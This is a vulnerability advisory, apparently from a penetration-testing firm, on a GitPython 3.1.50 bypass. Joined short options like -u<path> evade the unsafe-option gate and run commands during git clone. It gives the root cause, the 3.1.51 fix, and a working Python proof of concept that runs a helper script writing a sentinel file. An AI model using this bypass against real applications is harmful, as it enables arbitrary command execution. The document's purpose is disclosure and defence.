highJul 21, 2026

GitPython unsafe clone option gate bypass via joined short options

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

GitPython 3.1.50 lets attackers run arbitrary commands during git clone by passing a joined short option like -u/path/to/helper, which slips past the unsafe-option gate that only checks the plain -u f

PackageGitPython
Ecosystempip
Affected= 3.1.50
Fixed in3.1.51

The problem

GitPython 3.1.50 blocks dangerous git clone options such as --upload-pack and -u by default, raising an UnsafeOptionError unless the caller passes allow_unsafe_options=True.

The gate normalizes option names with _canonicalize_option_name(), but that function strips only leading dashes. So -u/path/to/helper becomes u/path/to/helper, which does not match the blocked token u. Git itself accepts the joined form -u<value> as equivalent to --upload-pack=<value>, so the helper executes even though allow_unsafe_options=False.

Proof of concept

A working proof-of-concept for this issue in GitPython, with the exact payload below.

python
import tempfile, os, stat
from git import Repo

# 1. Create a bare repo to clone from
tmp = tempfile.mkdtemp()
bare = os.path.join(tmp, "bare.git")
Repo.init(bare, bare=True)

# 2. Write a helper script that creates a sentinel file
helper = os.path.join(tmp, "helper.sh")
sentinel = os.path.join(tmp, "sentinel.txt")
with open(helper, "w") as f:
    f.write(f"#!/bin/sh\necho PWNED > {sentinel}\nexit 1\n")
os.chmod(helper, os.stat(helper).st_mode | stat.S_IEXEC)

# 3. Clone with joined short option -- bypasses allow_unsafe_options=False
dest = os.path.join(tmp, "cloned")
try:
    Repo.clone_from(
        bare,
        dest,
        multi_options=[f"-u{helper}"],  # blocked long form --upload-pack={helper} is rejected
        allow_unsafe_options=False,      # gate is active but ineffective
    )
except Exception:
    pass

print("sentinel exists:", os.path.exists(sentinel))  # True == RCE confirmed

The vulnerable code splits multi_options with shlex.split then calls Git.check_unsafe_options(). Inside that check, _canonicalize_option_name("-u/path/to/helper") strips dashes and returns "u/path/to/helper", which is compared against the blocked set {"u", "c", ...} and does not match.

Git parses -u<value> as a joined short option, identical to --upload-pack=<value>, so it executes the given helper binary during the clone handshake. The fix in PR #2162 (released in 3.1.51) teaches the canonicalizer to recognize single-character short options and strip any trailing joined value, so -u/path/to/helper is correctly reduced to u before the blocklist comparison.

This is CWE-78 (OS Command Injection) via an incomplete blocklist check.

The fix

Upgrade GitPython to 3.1.51 or later. The patch corrects _canonicalize_option_name() so that joined short options like -uVALUE and -cKEY=VALUE are normalized to their bare single-character form before the unsafe-option comparison. No API changes are required; existing callers relying on allow_unsafe_options=False are protected automatically after the upgrade.

Reporter not attributed.

References: [1][2][3][4]

Related research